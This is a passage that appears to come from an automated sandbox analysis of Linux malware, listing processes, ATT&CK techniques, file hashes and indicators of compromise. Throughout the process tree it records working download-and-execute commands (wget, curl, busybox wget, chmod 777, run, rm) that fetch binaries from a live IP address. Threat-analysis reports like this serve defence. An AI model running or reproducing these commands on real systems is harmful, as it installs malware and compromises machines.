  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:978
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:981
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:982
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:984
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:987
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:988
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:990
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:993

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem

Path /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	752	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	758	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	764	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	782	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	808	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	827	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	833	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	843	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	874	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	884	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	890	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	896	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	902	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	908	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	914	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	920	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	926	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	932	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	938	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	944	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	950	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	956	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	962	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	968	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	974	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	980	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	986	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	992	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj